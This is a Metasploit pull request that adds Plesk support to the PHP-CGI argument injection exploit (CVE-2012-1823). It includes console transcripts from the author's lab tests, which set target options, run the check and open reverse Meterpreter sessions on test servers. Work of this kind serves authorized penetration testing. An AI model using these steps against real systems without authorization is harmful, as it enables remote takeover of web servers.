rapid7/metasploit-framework — pull request #2074 by jvazquez-r7 (2013-07-04 13:43:50+00:00)
Title: Add support for PLESK on php_cgi_arg_injection

This pull request modifies the php_cgi_arg_injection exploit in orde to be compatible with the Plesk exploit disclosed by kingcope: http://www.exploit-db.com/exploits/25986/

It's a small variation from cve-2012-1823 (php cgi interpreter calles to display a php vs php interpreter called directly as pointed by kcope). But since the exploitation is the same, modifying the current one.

I've added a PLESK option to automate the PLESK exploitation since URL will be static in the PLESK case, plus the check detection a little different (we're calling the interpreter directly). Also the URI Encoding level should be static in the PLESK case according to my test.

I've tested against a PLESK 9.0 on CentOS 5.9:

```
msf exploit(php_cgi_arg_injection) > set PLESK true
PLESK => true
msf exploit(php_cgi_arg_injection) > set RHOST 192.168.172.129
RHOST => 192.168.172.129
msf exploit(php_cgi_arg_injection) > check

[*] Checking uri /phppath/php
[*] The target appears to be vulnerable.
msf exploit(php_cgi_arg_injection) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Sending stage (39195 bytes) to 192.168.172.129
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.129:34224) at 2013-07-04 08:18:40 -0500

meterpreter > getuid
Server username: apache (48)
meterpreter > exit
```

And tested which the exploit exploit works for the cve-2012-1823 on a Ubuntu 10.04 with php-cgi:

```
msf exploit(php_cgi_arg_injection) > set TARGETURI /test.php
TARGETURI => /test.php
msf exploit(php_cgi_arg_injection) > check

[*] Checking uri /test.php
[+] The target is vulnerable.
msf exploit(php_cgi_arg_injection) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Sending stage (39195 bytes) to 192.168.172.131
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.131:34037) at 2013-07-04 08:18:02 -0500

meterpreter > getuid
Server username: www-data (33)
meterpreter > exit
[*] Shutting down Meterpreter...

```